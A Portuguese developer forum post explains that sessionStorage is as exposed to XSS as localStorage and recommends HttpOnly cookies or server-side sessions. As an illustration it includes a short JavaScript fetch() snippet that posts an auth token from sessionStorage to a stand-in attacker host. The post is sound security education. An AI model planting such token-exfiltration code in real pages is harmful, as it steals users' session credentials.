Executando verificação de segurança...
2
Carregando publicação patrocinada...
6

❗️sessionStorage é mais seguro que localStorage? Spoiler: não.

Uma dúvida comum entre devs é se usar sessionStorage em vez de localStorage já resolve os problemas de segurança relacionados ao armazenamento de JWTs e tokens. A resposta curta é: não resolve.


⚠️ Ambos são vulneráveis a ataques XSS

Tanto o localStorage quanto o sessionStorage são:

  • Acessíveis via JavaScript (window.localStorage, window.sessionStorage)
  • Armazenados no lado do cliente
  • Expostos a scripts maliciosos em ataques XSS

Isso significa que se um atacante conseguir rodar JS no seu domínio, ele terá acesso ao conteúdo do sessionStorage da mesma forma que teria ao localStorage.


🔍 Diferenças de comportamento (mas não de segurança)

CaracterísticalocalStoragesessionStorage
PersistênciaSobrevive ao fechar o navegadorÉ apagado ao fechar a aba
EscopoCompartilhado entre abasIsolado por aba
Acesso via JS✅ Sim✅ Sim
Proteção contra XSS❌ Nenhuma❌ Nenhuma

🧪 Exemplo de roubo de token via XSS com sessionStorage

Mesmo que o dado só dure enquanto a aba está aberta, um XSS pode fazer isso:

fetch("https://attacker.site/steal", {
  method: "POST",
  body: sessionStorage.getItem("auth_token")
});

✅ A solução real: cookies HttpOnly ou sessões no backend

Para proteger de verdade:

  • Use cookies com as flags HttpOnly e Secure.
  • Armazene apenas identificadores ou tokens de sessão que não possam ser reutilizados diretamente.
  • Se possível, gerencie as sessões no backend (Redis, banco, etc.) com expiração e invalidação manual.

🔐 Conclusão

sessionStorage não é mais seguro. Apenas dura menos tempo.

Armazenar tokens sensíveis ali é tão perigoso quanto no localStorage. Não se deixe enganar pela volatilidade — a vulnerabilidade é a mesma.

Se quer segurança de verdade, pense como um atacante e proteja onde realmente importa: no ponto de acesso e armazenamento seguro.